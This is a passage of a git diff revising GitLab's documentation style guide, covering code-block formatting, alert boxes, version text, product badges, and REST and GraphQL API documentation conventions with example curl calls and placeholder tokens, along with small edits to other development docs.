- To make things easier for the user, always add a full code block for things that can be
- useful to copy and paste, as they can easily do it with the button on code blocks.
+ File names, commands, entries, and anything that refers to code should be
+ added to code blocks. To make things easier for the user, always add a full
+ code block for things that can be useful to copy and paste, as they can easily
+ do it with the button on code blocks.
- Add a blank line above and below code blocks.
-- When providing a shell command and its output, prefix the shell command with `$` and
- leave a blank line between the command and the output.
+- When providing a shell command and its output, prefix the shell command with `$`
+ and leave a blank line between the command and the output.
- When providing a command without output, don't prefix the shell command with `$`.
- If you need to include triple backticks inside a code block, use four backticks
for the codeblock fences instead of three.
-- For regular fenced code blocks, always use a highlighting class corresponding to the
- language for better readability. Examples:
+- For regular fenced code blocks, always use a highlighting class corresponding to
+ the language for better readability. Examples:
````markdown
```ruby
@@ -1186,10 +1319,10 @@ nicely on different mobile devices.
```
````
-Syntax highlighting is required for fenced code blocks added to the GitLab documentation.
-Refer to the table below for the most common language classes, or check the
-[complete list](https://github.com/rouge-ruby/rouge/wiki/List-of-supported-languages-and-lexers)
-of language classes available.
+Syntax highlighting is required for fenced code blocks added to the GitLab
+documentation. Refer to the following table for the most common language classes,
+or check the [complete list](https://github.com/rouge-ruby/rouge/wiki/List-of-supported-languages-and-lexers)
+of available language classes:
| Preferred language tags | Language aliases and notes |
|-------------------------|------------------------------------------------------------------------------|
@@ -1220,16 +1353,17 @@ of language classes available.
| `xml` | |
| `yaml` | Alias: `yml`. |
-For a complete reference on code blocks, check the [Kramdown guide](https://about.gitlab.com/handbook/markdown-guide/#code-blocks).
+For a complete reference on code blocks, see the [Kramdown guide](https://about.gitlab.com/handbook/markdown-guide/#code-blocks).
## GitLab SVG icons
> [Introduced](https://gitlab.com/gitlab-org/gitlab-docs/-/issues/384) in GitLab 12.7.
-You can use icons from the [GitLab SVG library](https://gitlab-org.gitlab.io/gitlab-svgs/) directly
-in the documentation.
+You can use icons from the [GitLab SVG library](https://gitlab-org.gitlab.io/gitlab-svgs/)
+directly in the documentation.
-This way, you can achieve a consistent look when writing about interacting with GitLab UI elements.
+This way, you can achieve a consistent look when writing about interacting with
+GitLab user interface elements.
Usage examples:
@@ -1243,7 +1377,7 @@ Usage examples:
Example: `**{tanuki, 24}**` renders as: **{tanuki, 24}**.
- Icon with custom size and class: `**{icon-name, size, class-name}**`.
- You can access any class available to this element in GitLab docs CSS.
+ You can access any class available to this element in GitLab documentation CSS.
Example with `float-right`, a
[Bootstrap utility class](https://getbootstrap.com/docs/4.4/utilities/float/):
@@ -1251,8 +1385,8 @@ Usage examples:
### When to use icons
-Icons should be used sparingly, and only in ways that aid and do not hinder the readability of the
-text.
+Icons should be used sparingly, and only in ways that aid and do not hinder the
+readability of the text.
For example, the following adds little to the accompanying text:
@@ -1262,54 +1396,68 @@ For example, the following adds little to the accompanying text:
1. Go to **{home}** **Project overview > Details**
-However, the following might help the reader connect the text to the user interface:
+However, the following might help the reader connect the text to the user
+interface:
```markdown
| Section | Description |
|:-------------------------|:----------------------------------------------------------------------------------------------------------------------------|
-| **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, Runners, and Gitaly servers. |
+| **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, runners, and Gitaly servers. |
| **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit logs. |
| **{messages}** Messages | Send and manage broadcast messages for your users. |
```
| Section | Description |
|:-------------------------|:----------------------------------------------------------------------------------------------------------------------------|
-| **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, Runners, and Gitaly servers. |
+| **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, runners, and Gitaly servers. |
| **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit logs. |
| **{messages}** Messages | Send and manage broadcast messages for your users. |
-Use an icon when you find youself having to describe an interface element. For example:
+Use an icon when you find yourself having to describe an interface element. For
+example:
- Do: Click the Admin Area icon ( **{admin}** ).
- Don't: Click the Admin Area icon (the wrench icon).
## Alert boxes
-Whenever you need to call special attention to particular sentences,
-use the following markup for highlighting.
+When you need to call special attention to particular sentences, use the
+following markup to create highlighted alert boxes.
Note that the alert boxes only work for one paragraph only. Multiple paragraphs,
-lists, headers and so on, will not render correctly. For multiple lines, use [blockquotes](#blockquotes) instead.
+lists, headers and so on, will not render correctly. For multiple lines, use
+[blockquotes](#blockquotes) instead.
-Alert boxes only render on the GitLab Docs site (<https://docs.gitlab.com>).
+Alert boxes render only on the GitLab documentation site (<https://docs.gitlab.com>).
Within GitLab itself, they will appear as plain Markdown text (like the examples
above the rendered versions, below).
+These alert boxes are used in the GitLab documentation. These aren't strict
+guidelines, but for consistency you should try to use these values:
+
+| Color | Markup | Default keyword | Alternative keywords |
+|--------|------------|-----------------|----------------------------------------------------------------------|
+| Blue | `NOTE:` | `**Note:**` | |
+| Yellow | `CAUTION:` | `**Caution:**` | `**Warning:**`, `**Important:**` |
+| Red | `DANGER:` | `**Danger:**` | `**Warning:**`, `**Important:**`, `**Deprecated:**`, `**Required:**` |
+| Green | `TIP:` | `**Tip:**` | |
+
### Note
Notes catch the eye of most readers, and therefore should be used very sparingly.
In most cases, content considered for a note should be included:
-- As just another sentence in the previous paragraph or the most-relevant paragraph.
+- As just another sentence in the previous paragraph or the most-relevant
+ paragraph.
- As its own standalone paragraph.
-- As content under a new subheading that introduces the topic, making it more visible/findable.
+- As content under a new subheading that introduces the topic, making it more
+ visible or findable.
#### When to use
Use a note when there is a reason that most or all readers who browse the
-section should see the content. That is, if missed, it’s likely to cause
-major trouble for a minority of users or significant trouble for a majority
-of users.
+section should see the content. That is, if missed, it’s likely to cause major
+trouble for a minority of users or significant trouble for a majority of users.
Weigh the costs of distracting users to whom the content is not relevant against
the cost of users missing the content if it were not expressed as a note.
@@ -1319,7 +1467,7 @@ NOTE: **Note:**
This is something to note.
```
-How it renders on the GitLab Docs site:
+How it renders on the GitLab documentation site:
NOTE: **Note:**
This is something to note.
@@ -1331,7 +1479,7 @@ TIP: **Tip:**
This is a tip.
```
-How it renders on the GitLab Docs site:
+How it renders on the GitLab documentation site:
TIP: **Tip:**
This is a tip.
@@ -1343,7 +1491,7 @@ CAUTION: **Caution:**
This is something to be cautious about.
```
-How it renders on the GitLab Docs site:
+How it renders on the GitLab documentation site:
CAUTION: **Caution:**
This is something to be cautious about.
@@ -1355,7 +1503,7 @@ DANGER: **Danger:**
This is a breaking change, a bug, or something very important to note.
```
-How it renders on the GitLab Docs site:
+How it renders on the GitLab documentation site:
DANGER: **Danger:**
This is a breaking change, a bug, or something very important to note.
@@ -1368,7 +1516,7 @@ For highlighting a text within a blue blockquote, use this format:
> This is a blockquote.
```
-which renders on the [GitLab Docs site](https://docs.gitlab.com) as:
+which renders on the [GitLab documentation site](https://docs.gitlab.com) as:
> This is a blockquote.
@@ -1396,19 +1544,22 @@ Which renders to:
## Terms
-To maintain consistency through GitLab documentation, the following guides documentation authors
-on agreed styles and usage of terms.
+To maintain consistency through GitLab documentation, the following guides
+documentation authors on agreed styles and usage of terms.
### Merge requests (MRs)
-Merge requests allow you to exchange changes you made to source code and collaborate
-with other people on the same project. You'll see this term used in the following ways:
+Merge requests allow you to exchange changes you made to source code and
+collaborate with other people on the same project. You'll see this term used in
+the following ways:
-- Use lowercase **merge requests** regardless of whether referring to the feature or individual merge requests.
+- Use lowercase *merge requests* regardless of whether referring to the feature
+ or individual merge requests.
As noted in the GitLab [Writing Style Guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines),
if you use the **MR** acronym, expand it at least once per document page.
-Typically, the first use would be phrased as _merge request (MR)_ with subsequent instances being _MR_.
+Typically, the first use would be phrased as _merge request (MR)_ with subsequent
+instances being _MR_.
Examples:
@@ -1418,14 +1569,18 @@ Examples:
### Describe UI elements
-The following are styles to follow when describing UI elements on a screen:
+The following are styles to follow when describing user interface elements in an
+application:
-- For elements with a visible label, use that label in bold with matching case. For example, `the **Cancel** button`.
-- For elements with a tooltip or hover label, use that label in bold with matching case. For example, `the **Add status emoji** button`.
+- For elements with a visible label, use that label in bold with matching case.
+ For example, `the **Cancel** button`.
+- For elements with a tooltip or hover label, use that label in bold with
+ matching case. For example, `the **Add status emoji** button`.
### Verbs for UI elements
-The following are recommended verbs for specific uses with UI elements:
+The following are recommended verbs for specific uses with user interface
+elements:
| Recommended | Used for | Replaces |
|:--------------------|:---------------------------|:---------------------------|
@@ -1447,22 +1602,26 @@ Tagged and released versions of GitLab documentation are available:
- In the [documentation archives](https://docs.gitlab.com/archives/).
- At the `/help` URL for any GitLab installation.
-The version introducing a new feature is added to the top of the topic in the documentation to provide
-a helpful link back to how the feature was developed.
+The version introducing a new feature is added to the top of the topic in the
+documentation to provide a link back to how the feature was developed.
TIP: **Tip:**
-Whenever you have documentation related to the `gitlab.rb` file, you're working with a self-managed installation.
-The section or page is therefore likely to apply only to self-managed instances.
-If so, the relevant "`TIER` ONLY" [Product badge](#product-badges) should be included at the highest applicable heading level.
+Whenever you have documentation related to the `gitlab.rb` file, you're working
+with a self-managed installation. The section or page is therefore likely to
+apply only to self-managed instances. If so, the relevant "`TIER` ONLY"
+[Product badge](#product-badges) should be included at the highest applicable
+heading level.
### Text for documentation requiring version text
-- For features that need to declare the GitLab version that the feature was introduced. Text similar
- to the following should be added immediately below the heading as a blockquote:
+- For features that need to declare the GitLab version that the feature was
+ introduced. Text similar to the following should be added immediately below
+ the heading as a blockquote:
- `> Introduced in GitLab 11.3.`.
-- Whenever possible, version text should have a link to the _completed_ issue, merge request, or epic that introduced the feature.
- An issue is preferred over a merge request, and a merge request is preferred over an epic. For example:
+- Whenever possible, version text should have a link to the _completed_ issue,
+ merge request, or epic that introduced the feature. An issue is preferred over
+ a merge request, and a merge request is preferred over an epic. For example:
- `> [Introduced](<link-to-issue>) in GitLab 11.3.`.
- If the feature is only available in GitLab Enterprise Edition, mention
@@ -1470,8 +1629,8 @@ If so, the relevant "`TIER` ONLY" [Product badge](#product-badges) should be inc
the feature is available in:
- `> [Introduced](<link-to-issue>) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.3.`.
-- If listing information for multiple version as a feature evolves, add the information to a
- block-quoted bullet list. For example:
+- If listing information for multiple version as a feature evolves, add the
+ information to a block-quoted bullet list. For example:
```markdown
> - [Introduced](<link-to-issue>) in GitLab 11.3.
@@ -1492,25 +1651,28 @@ If so, the relevant "`TIER` ONLY" [Product badge](#product-badges) should be inc
> - [Deprecated](<link-to-issue>) in GitLab 11.3. Replaced by [meaningful text](<link-to-appropriate-documentation>).
```
- It's also acceptable to describe the replacement in surrounding text, if available.
+ It's also acceptable to describe the replacement in surrounding text, if
+ available.
- If the deprecation is not obvious in existing text, you may want to include a warning such as:
+ If the deprecation is not obvious in existing text, you may want to include a
+ warning such as:
```markdown
- CAUTION: **Warning:**
+ DANGER: **Deprecated:**
This feature was [deprecated](link-to-issue) in GitLab 12.3
and replaced by [Feature name](link-to-feature-documentation).
```
NOTE: **Note:**
-Version text must be on its own line and surrounded by blank lines to render correctly.
+Version text must be on its own line and surrounded by blank lines to render
+correctly.
### Versions in the past or future
When describing functionality available in past or future versions, use:
-- **Earlier**, and not **older** or **before**.
-- **Later**, and not **newer** or **after**.
+- *Earlier*, and not *older* or *before*.
+- *Later*, and not *newer* or *after*.
For example:
@@ -1522,33 +1684,34 @@ For example:
### Importance of referencing GitLab versions and tiers
Mentioning GitLab versions and tiers is important to all users and contributors
-to quickly have access to the issue or merge request that
-introduced the change for reference. Also, they can easily understand what
-features they have in their GitLab instance and version, given that the note has
-some key information.
+to quickly have access to the issue or merge request that introduced the change
+for reference. Also, they can easily understand what features they have in their
+GitLab instance and version, given that the note has some key information.
`[Introduced](link-to-issue) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.7`
links to the issue that introduced the feature, says which GitLab tier it
belongs to, says the GitLab version that it became available in, and links to
-the pricing page in case the user wants to upgrade to a paid tier
-to use that feature.
+the pricing page in case the user wants to upgrade to a paid tier to use that
+feature.
-For example, if you're a regular user and you're looking at the docs for a feature you haven't used before,
-you can immediately see if that feature is available to you or not. Alternatively,
-if you've been using a certain feature for a long time and it changed in some way,
-it's important
-to be able to spot when it changed and what's new in that feature.
+For example, if you're a regular user and you're looking at the documentation
+for a feature you haven't used before, you can immediately see if that feature
+is available to you or not. Alternatively, if you've been using a certain
+feature for a long time and it changed in some way, it's important to be able to
+determine when it changed and what's new in that feature.
-This is even more important as we don't have a perfect process for shipping docs.
-Unfortunately, we still see features without docs and docs without
-features. So, for now, we cannot rely 100% on the docs site versions.
+This is even more important as we don't have a perfect process for shipping
+documentation. Unfortunately, we still see features without documentation, and
+documentation without features. So, for now, we cannot rely 100% on the
+documentation site versions.
Over time, version text will reference a progressively older version of GitLab.
In cases where version text refers to versions of GitLab four or more major
versions back, you can consider removing the text if it's irrelevant or confusing.
-For example, if the current major version is 12.x, version text referencing versions of GitLab 8.x
-and older are candidates for removal if necessary for clearer or cleaner docs.
+For example, if the current major version is 12.x, version text referencing
+versions of GitLab 8.x and older are candidates for removal if necessary for
+clearer or cleaner documentation.
## Products and features
@@ -1598,21 +1761,21 @@ header or other page element according to the feature's availability:
| *Only* GitLab.com Silver and higher tiers (no self-managed instances) | `**(SILVER ONLY)**` |
| *Only* GitLab.com Gold (no self-managed instances) | `**(GOLD ONLY)**` |
-For clarity, all page title headers (H1s) must be have a tier markup for
-the lowest tier that has information on the documentation page.
+For clarity, all page title headers (H1s) must be have a tier markup for the
+lowest tier that has information on the documentation page.
If sections of a page apply to higher tier levels, they can be separately
labeled with their own tier markup.
#### Product badge display behavior
-When using the tier markup with headers, the documentation page will
-display the full tier badge with the header line.
+When using the tier markup with headers, the documentation page will display the
+full tier badge with the header line.
-You can also use the tier markup with paragraphs, list items,
-and table cells. For these cases, the tier mention will be represented by an
-orange info icon **{information}** that will display the tiers when visitors
-point to the icon. For example:
+You can also use the tier markup with paragraphs, list items, and table cells.
+For these cases, the tier mention will be represented by an orange info icon
+**{information}** that will display the tiers when visitors point to the icon.
+For example:
- `**(STARTER)**` displays as **(STARTER)**
- `**(STARTER ONLY)**` displays as **(STARTER ONLY)**
@@ -1623,16 +1786,17 @@ point to the icon. For example:
Introduced by [!244](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/244),
the special markup `**(STARTER)**` will generate a `span` element to trigger the
badges and tooltips (`<span class="badge-trigger starter">`). When the keyword
-"only" is added, the corresponding GitLab.com badge will not be displayed.
+*only* is added, the corresponding GitLab.com badge will not be displayed.
## Specific sections
-Certain styles should be applied to specific sections. Styles for specific sections are outlined below.
+Certain styles should be applied to specific sections. Styles for specific
+sections are outlined below.
### GitLab restart
-There are many cases that a restart/reconfigure of GitLab is required. To
-avoid duplication, link to the special document that can be found in
+There are many cases that a restart/reconfigure of GitLab is required. To avoid
+duplication, link to the special document that can be found in
[`doc/administration/restart_gitlab.md`](../../administration/restart_gitlab.md).
Usually the text will read like:
@@ -1643,8 +1807,8 @@ for the changes to take effect.
If the document you are editing resides in a place other than the GitLab CE/EE
`doc/` directory, instead of the relative link, use the full path:
-`https://docs.gitlab.com/ce/administration/restart_gitlab.html`.
-Replace `reconfigure` with `restart` where appropriate.
+`https://docs.gitlab.com/ce/administration/restart_gitlab.html`. Replace
+`reconfigure` with `restart` where appropriate.
### Installation guide
@@ -1652,8 +1816,8 @@ Replace `reconfigure` with `restart` where appropriate.
In [step 2 of the installation guide](../../install/installation.md#2-ruby),
we install Ruby from source. Whenever there is a new version that needs to
be updated, remember to change it throughout the codeblock and also replace
-the sha256sum (it can be found in the [downloads page](https://www.ruby-lang.org/en/downloads/) of the Ruby
-website).
+the sha256sum (it can be found in the [downloads page](https://www.ruby-lang.org/en/downloads/)
+of the Ruby website).
### Configuration documentation for source and Omnibus installations
@@ -1661,7 +1825,7 @@ GitLab currently officially supports two installation methods: installations
from source and Omnibus packages installations.
Whenever there is a setting that is configurable for both installation methods,
-prefer to document it in the CE docs to avoid duplication.
+prefer to document it in the CE documentation to avoid duplication.
Configuration settings include:
@@ -1681,7 +1845,8 @@ the style below as a guide:
external_url "https://gitlab.example.com"
```
-1. Save the file and [reconfigure](path/to/administration/restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab for the changes to take effect.
+1. Save the file and [reconfigure](path/to/administration/restart_gitlab.md#omnibus-gitlab-reconfigure)
+ GitLab for the changes to take effect.
---
@@ -1694,18 +1859,20 @@ the style below as a guide:
host: "gitlab.example.com"
```
-1. Save the file and [restart](path/to/administration/restart_gitlab.md#installations-from-source) GitLab for the changes to take effect.
+1. Save the file and [restart](path/to/administration/restart_gitlab.md#installations-from-source)
+ GitLab for the changes to take effect.
````
In this case:
- Before each step list the installation method is declared in bold.
-- Three dashes (`---`) are used to create a horizontal line and separate the
- two methods.
+- Three dashes (`---`) are used to create a horizontal line and separate the two
+ methods.
- The code blocks are indented one or more spaces under the list item to render
correctly.
- Different highlighting languages are used for each config in the code block.
-- The [GitLab Restart](#gitlab-restart) section is used to explain a required restart/reconfigure of GitLab.
+- The [GitLab Restart](#gitlab-restart) section is used to explain a required
+ restart or reconfigure of GitLab.
### Troubleshooting
@@ -1717,19 +1884,30 @@ can facilitate this by making sure the troubleshooting content addresses:
1. How the user can confirm they have the problem.
1. Steps the user can take towards resolution of the problem.
-If the contents of each category can be summarized in one line and a list of steps aren't required, consider setting up a
-[table](#tables) with headers of *Problem* \| *Cause* \| *Solution* (or *Workaround* if the fix is temporary), or *Error message* \| *Solution*.
+If the contents of each category can be summarized in one line and a list of
+steps aren't required, consider setting up a [table](#tables) with headers of
+*Problem* \| *Cause* \| *Solution* (or *Workaround* if the fix is temporary), or
+*Error message* \| *Solution*.
## Feature flags
-Learn how to [document features deployed behind flags](feature_flags.md).
-For guidance on developing GitLab with feature flags, see
-[Feature flags in development of GitLab](../feature_flags/index.md).
+Learn how to [document features deployed behind flags](feature_flags.md). For
+guidance on developing GitLab with feature flags, see [Feature flags in development of GitLab](../feature_flags/index.md).
## RESTful API
-Here is a list of must-have items for RESTful API documentation. Use them in the
-exact order that appears on this document. Further explanation is given below.
+REST API resources are documented in Markdown under
+[`/doc/api`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc/api). Each
+resource has its own Markdown file, which is linked from `api_resources.md`.
+
+When modifying the Markdown, also update the corresponding
+[OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc/api/openapi)
+if one exists for the resource. If not, consider creating one. Match the latest
+[OpenAPI 3.0.x specification](https://swagger.io/specification/). (For more
+information, see the discussion in this
+[issue](https://gitlab.com/gitlab-org/gitlab/-/issues/16023#note_370901810).)
+
+In the Markdown doc for a resource (AKA endpoint):
- Every method must have the REST API request. For example:
@@ -1737,8 +1915,7 @@ exact order that appears on this document. Further explanation is given below.
GET /projects/:id/repository/branches
```
-- Every method must have a detailed
- [description of the parameters](#method-description).
+- Every method must have a detailed [description of the parameters](#method-description).
- Every method must have a cURL example.
- Every method must have a response body (in JSON format).
@@ -1763,7 +1940,7 @@ METHOD /endpoint
Example request:
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" 'https://gitlab.example.com/api/v4/endpoint?parameters'
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/endpoint?parameters"
```
Example response:
@@ -1782,8 +1959,9 @@ You may need to demonstrate an API call or a cURL command that includes the name
and email address of a user. Don't use real user information in API calls:
- **Email addresses**: Use an email address ending in `example.com`.
-- **Names**: Use strings like `Example Username`. Alternatively, use diverse or non-gendered names with
- common surnames, such as `Sidney Jones`, `Zhang Wei`. or `Maria Garcia`.
+- **Names**: Use strings like `Example Username`. Alternatively, use diverse or
+ non-gendered names with common surnames, such as `Sidney Jones`, `Zhang Wei`,
+ or `Maria Garcia`.
### Fake URLs
@@ -1795,11 +1973,10 @@ When including sample URLs in the documentation, use:
### Fake tokens
There may be times where a token is needed to demonstrate an API call using
-cURL or a variable used in CI. It is strongly advised not to use real
-tokens in documentation even if the probability of a token being exploited is
-low.
+cURL or a variable used in CI. It is strongly advised not to use real tokens in
+documentation even if the probability of a token being exploited is low.
-You can use the following fake tokens as examples.
+You can use the following fake tokens as examples:
| Token type | Token value |
|:----------------------|:-------------------------------------------------------------------|
@@ -1808,8 +1985,8 @@ You can use the following fake tokens as examples.
| Application ID | `2fcb195768c39e9a94cec2c2e32c59c0aad7a3365c10892e8116b5d83d4096b6` |
| Application secret | `04f294d1eaca42b8692017b426d53bbc8fe75f827734f0260710b83a556082df` |
| CI/CD variable | `Li8j-mLUVA3eZYjPfd_H` |
-| Specific Runner token | `yrnZW46BrtBFqM7xDzE7dddd` |
-| Shared Runner token | `6Vk7ZsosqQyfreAxXTZr` |
+| Specific runner token | `yrnZW46BrtBFqM7xDzE7dddd` |
+| Shared runner token | `6Vk7ZsosqQyfreAxXTZr` |
| Trigger token | `be20d8dcc028677c931e04f3871a9b` |
| Webhook secret token | `6XhDroRcYPM5by_h-HLY` |
| Health check token | `Tu7BgjR9qeZTEyRzGG2P` |
@@ -1850,14 +2027,15 @@ Rendered example:
### cURL Examples
-Below is a set of [cURL](https://curl.haxx.se) examples that you can use in the API documentation.
+The following sections include a set of [cURL](https://curl.haxx.se) examples
+you can use in the API documentation.
#### Simple cURL command
Get the details of a group:
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/groups/gitlab-org
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/gitlab-org"
```
#### cURL example with parameters passed in the URL
@@ -1870,9 +2048,9 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
#### Post data using cURL's `--data`
-Instead of using `--request POST` and appending the parameters to the URI, you can use
-cURL's `--data` option. The example below will create a new project `foo` under
-the authenticated user's namespace.
+Instead of using `--request POST` and appending the parameters to the URI, you
+can use cURL's `--data` option. The example below will create a new project
+`foo` under the authenticated user's namespace.
```shell
curl --data "name=foo" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects"
@@ -1881,11 +2059,11 @@ curl --data "name=foo" --header "PRIVATE-TOKEN: <your_access_token>" "https://gi
#### Post data using JSON content
NOTE: **Note:**
-In this example we create a new group. Watch carefully the single
-and double quotes.
+In this example we create a new group. Watch carefully the single and double
+quotes.
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"path": "my-group", "name": "My group"}' https://gitlab.example.com/api/v4/groups
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"path": "my-group", "name": "My group"}' "https://gitlab.example.com/api/v4/groups"
```
#### Post data using form-data
@@ -1894,7 +2072,7 @@ Instead of using JSON or urlencode you can use multipart/form-data which
properly handles data encoding:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "title=ssh-key" --form "key=ssh-rsa AAAAB3NzaC1yc2EA..." https://gitlab.example.com/api/v4/users/25/keys
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "title=ssh-key" --form "key=ssh-rsa AAAAB3NzaC1yc2EA..." "https://gitlab.example.com/api/v4/users/25/keys"
```
The above example is run by and administrator and will add an SSH public key
@@ -1916,41 +2094,47 @@ Use `%2F` for slashes (`/`).
#### Pass arrays to API calls
The GitLab API sometimes accepts arrays of strings or integers. For example, to
-exclude specific users when requesting a list of users for a project, you would do something like this:
+exclude specific users when requesting a list of users for a project, you would
+do something like this:
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "skip_users[]=<user_id>" --data "skip_users[]=<user_id>" https://gitlab.example.com/api/v4/projects/<project_id>/users
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "skip_users[]=<user_id>" --data "skip_users[]=<user_id>" "https://gitlab.example.com/api/v4/projects/<project_id>/users"
```
## GraphQL API
-GraphQL APIs are different from [RESTful APIs](#restful-api). Reference information is
-generated automatically in our [GraphQL reference](../../api/graphql/reference/index.md).
+GraphQL APIs are different from [RESTful APIs](#restful-api). Reference
+information is generated in our [GraphQL reference](../../api/graphql/reference/index.md).
-However, it's helpful to include examples on how to use GraphQL for different "use cases",
-with samples that readers can use directly in the [GraphiQL explorer](../api_graphql_styleguide.md#graphiql).
+However, it's helpful to include examples on how to use GraphQL for different
+*use cases*, with samples that readers can use directly in the
+[GraphiQL explorer](../api_graphql_styleguide.md#graphiql).
-This section describes the steps required to add your GraphQL examples to GitLab documentation.
+This section describes the steps required to add your GraphQL examples to
+GitLab documentation.
### Add a dedicated GraphQL page
-To create a dedicated GraphQL page, create a new `.md` file in the `doc/api/graphql/` directory.
-Give that file a functional name, such as `import_from_specific_location.md`.
+To create a dedicated GraphQL page, create a new `.md` file in the
+`doc/api/graphql/` directory. Give that file a functional name, such as
+`import_from_specific_location.md`.
### Start the page with an explanation
-Include a page title that describes the GraphQL functionality in a few words, such as:
+Include a page title that describes the GraphQL functionality in a few words,
+such as:
```markdown
# Search for [substitute kind of data]
```
-Describe the search. One sentence may be all you need. More information may help
-readers learn how to use the example for their GitLab deployments.
+Describe the search. One sentence may be all you need. More information may
+help readers learn how to use the example for their GitLab deployments.
### Include a procedure using the GraphiQL explorer
-The GraphiQL explorer can help readers test queries with working deployments. Set up the section with the following:
+The GraphiQL explorer can help readers test queries with working deployments.
+Set up the section with the following:
- Use the following title:
@@ -1958,8 +2142,8 @@ The GraphiQL explorer can help readers test queries with working deployments. Se
## Set up the GraphiQL explorer
```
-- Include a code block with the query that anyone can include in their instance of
- the GraphiQL explorer:
+- Include a code block with the query that anyone can include in their
+ instance of the GraphiQL explorer:
````markdown
```graphql
@@ -1979,22 +2163,23 @@ The GraphiQL explorer can help readers test queries with working deployments. Se
- Include a screenshot of the result in the GraphiQL explorer. Follow the naming
convention described in the [Save the image](#save-the-image) section.
-- Follow up with an example of what you can do with the output.
- Make sure the example is something that readers can do on their own deployments.
+- Follow up with an example of what you can do with the output. Make sure the
+ example is something that readers can do on their own deployments.
- Include a link to the [GraphQL API resources](../../api/graphql/reference/index.md).
### Add the GraphQL example to the Table of Contents
-You'll need to open a second MR, against the [GitLab Docs repository](https://gitlab.com/gitlab-org/gitlab-docs/).
+You'll need to open a second MR, against the [GitLab documentation repository](https://gitlab.com/gitlab-org/gitlab-docs/).
-We store our Table of Contents in the `default-nav.yaml` file, in the `content/_data`
-subdirectory. You can find the GraphQL section under the following line:
+We store our Table of Contents in the `default-nav.yaml` file, in the
+`content/_data` subdirectory. You can find the GraphQL section under the
+following line:
```yaml
- - category_title: GraphQL
+- category_title: GraphQL
```
-Be aware that CI tests for that second MR will fail with a bad link until the main MR
-that adds the new GraphQL page is merged.
+Be aware that CI tests for that second MR will fail with a bad link until the
+main MR that adds the new GraphQL page is merged.
And that's all you need!
diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md
index c3e15cb1b2b..488c71a6328 100644
--- a/doc/development/documentation/workflow.md
+++ b/doc/development/documentation/workflow.md
@@ -29,7 +29,7 @@ is added or updated. The following are added by the issue or merge request autho
The following are also added by members of the Technical Writing team:
-- A documentation [scoped label](../../user/project/labels.md#scoped-labels-premium) with the
+- A documentation [scoped label](../../user/project/labels.md#scoped-labels) with the
`docs::` prefix. For example, `~docs::improvement`.
- The `~Technical Writing` [team label](../contributing/issue_workflow.md#team-labels).
diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md
index e7954fa910b..01f9d9b16fb 100644
--- a/doc/development/ee_features.md
+++ b/doc/development/ee_features.md
@@ -26,6 +26,16 @@ setting the [`FOSS_ONLY` environment variable](https://gitlab.com/gitlab-org/git
to something that evaluates as `true`. The same works for running tests
(for example `FOSS_ONLY=1 yarn jest`).
+## CI pipelines in a FOSS context
+
+By default, merge request pipelines for development run in an EE-context only. If you are
+developing features that differ between FOSS and EE, you may wish to run pipelines in a
+FOSS context as well.
+
+To run pipelines in both contexts, include `RUN AS-IF-FOSS` in the merge request title.
+
+See the [As-if-FOSS jobs](pipelines.md#as-if-foss-jobs) pipelines documentation for more information.
+
## Separation of EE code
All EE code should be put inside the `ee/` top-level directory. The
@@ -929,7 +939,7 @@ export default {
- We can use slots and/or scoped slots to achieve the same thing as we did with mixins. If you only need an EE component there is no need to create the CE component.
-1. First, we have a CE component that can render a slot incase we need EE template and functionality to be decorated on top of the CE base.
+1. First, we have a CE component that can render a slot in case we need EE template and functionality to be decorated on top of the CE base.
```vue
// ./ce/my_component.vue
@@ -1030,7 +1040,7 @@ separate SCSS file in an appropriate directory within `app/assets/stylesheets`.
In some cases, this is not entirely possible or creating dedicated SCSS file is an overkill,
e.g. a text style of some component is different for EE. In such cases,
-styles are usually kept in stylesheet that is common for both CE and EE, and it is wise
+styles are usually kept in a stylesheet that is common for both CE and EE, and it is wise
to isolate such ruleset from rest of CE rules (along with adding comment describing the same)
to avoid conflicts during CE to EE merge.
diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md
index 2f01692e944..e70cf456101 100644
--- a/doc/development/elasticsearch.md
+++ b/doc/development/elasticsearch.md
@@ -15,6 +15,8 @@ the [Elasticsearch integration documentation](../integration/elasticsearch.md#en
